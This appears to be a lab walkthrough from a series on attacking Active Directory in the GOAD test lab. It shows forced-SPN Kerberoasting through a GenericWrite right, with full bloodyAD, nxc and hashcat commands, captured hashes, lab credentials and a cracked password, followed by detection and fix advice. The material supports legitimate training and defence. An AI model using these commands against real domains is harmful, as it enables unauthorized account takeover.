Force-Set SPN: Targeted Kerberoasting with GenericWrite

Kerberoasting, but you pick the target

Ordinary Kerberoasting only works on accounts that already have a Service Principal Name — the sql_svc and jon.snow accounts of the world. If a service account is missing, or the SPN-carrying accounts all have unbreakable passwords, you are stuck waiting.

Unless you hold a write right over a user. GenericWrite (or GenericAll) lets you edit a target’s attributes, and servicePrincipalName is just an attribute. Add an SPN to a user, and suddenly they are Kerberoastable — their TGS gets encrypted with their password hash, and you crack it offline. You are not waiting for a weak service account anymore; you are choosing which weak-password user to roast.

The only question is which user you can write to. In essos.local, missandei holds GenericWrite over viserys.targaryen — the same edge we walked in Part 4.

Writing the SPN

bloodyAD writes the attribute over LDAP in one shot:

$ bloodyAD -u missandei -p fr3edom -d essos.local --host 192.168.56.12 \
    set object "viserys.targaryen" servicePrincipalName -v "HTTP/fakesvc.essos.local"
[+] viserys.targaryen’s servicePrincipalName has been updated

viserys.targaryen now carries an SPN. That one write is the whole prerequisite — the rest is ordinary Kerberoasting.

Roasting the target you just made

Request the TGS and crack it:

$ nxc ldap 192.168.56.12 -u missandei -p fr3edom --kerberoast force_tgs.txt
LDAP  [+] essos.local\missandei:fr3edom
LDAP  $krb5tgs$23$*viserys.targaryen$ESSOS.LOCAL$...*$cc284a89c4f8a5864d90a1dc37a43145$...

$ hashcat -m 13100 force_tgs.txt /usr/share/wordlists/rockyou.txt --force
$krb5tgs$23$*viserys.targaryen$...:GoldCrown

GoldCrown. The password was weak, so the forced SPN turned a GenericWrite into a valid account takeover. Notice what makes this different from the shadow-credentials route we used earlier: this needs no AD CS, no PKINIT. It only works when the target’s password is crackable — which is exactly the situation a targeted Kerberoast is built for.

The two techniques are complementary. Shadow credentials take over an account regardless of password strength but lean on a working CA. Forced-SPN Kerberoasting works without a CA but dies against a strong password. Held together, a GenericWrite edge rarely leaves you without a path.

Detection and the fix

Detection: The write is a 5136 on servicePrincipalName — a normal user suddenly gaining an SPN is a loud signal, especially when the SPN value is a placeholder (HTTP/fakesvc...) rather than a real service. The roast itself is the usual Kerberoasting tell: a 4769 TGS request for RC4 (etype 23) against the freshly-created SPN.

Control: Remove GenericWrite/GenericAll ACEs between ordinary users (the same pruning we did in Part 3), monitor 5136 writes to servicePrincipalName, and enforce strong passwords so a forced SPN leads nowhere. A cleanup habit worth keeping: delete the SPN you added after the engagement.

Summary

Evidence and limits

The forced servicePrincipalName write (HTTP/fakesvc.essos.local), TGS request, and offline hashcat crack were executed against viserys.targaryen on MEEREEN (192.168.56.12) inside the isolated GOAD lab. The synthetic SPN was removed after validation.

References

• Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
• The Hacker Recipes, Kerberoast: thehacker.recipes/ad/movement/kerberos/kerberoast
• HackTricks, Kerberoast: book.hacktricks.xyz
• MITRE ATT&CK, Kerberoasting (T1558.003): attack.mitre.org/techniques/T1558/003